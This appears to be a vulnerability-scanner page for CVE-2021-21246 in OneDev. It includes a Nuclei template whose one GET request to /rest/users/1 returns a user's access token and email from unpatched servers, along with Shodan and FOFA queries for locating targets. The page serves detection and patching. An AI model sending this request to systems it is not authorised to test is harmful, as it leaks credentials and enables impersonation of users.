OneDev < 4.0.3 - User Access Token Leak

highseverity

8.6CVSS score

49.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.

Impact

Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.

Fix

Update to version 4.0.3 or later where user info is removed from the REST API.

How to confirm it

Send: GET {{BaseURL}}/rest/users/1
Positive when: contains "\"accessToken\"" and "\"email\"" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21246 -u <target>

The full check

id: CVE-2021-21246

info:
  name: OneDev < 4.0.3 - User Access Token Leak
  author: DhiyaneshDk
  severity: high
  description: |
    OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
  impact: |
    Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
  remediation: |
    Update to version 4.0.3 or later where user info is removed from the REST API.
  reference:
    - https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx
    - https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21246
    - https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-21246
    cwe-id: CWE-862
    epss-score: 0.49051
    epss-percentile: 0.98893
  metadata:
    verified: true
    max-request: 1
    vendor: onedev_project
    product: onedev
    shodan-query: title:"OneDev"
    fofa-query: title="OneDev"
  tags: cve,cve2021,onedev,auth-bypass,token-leak,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/users/1"

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"accessToken"'
          - '"email"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from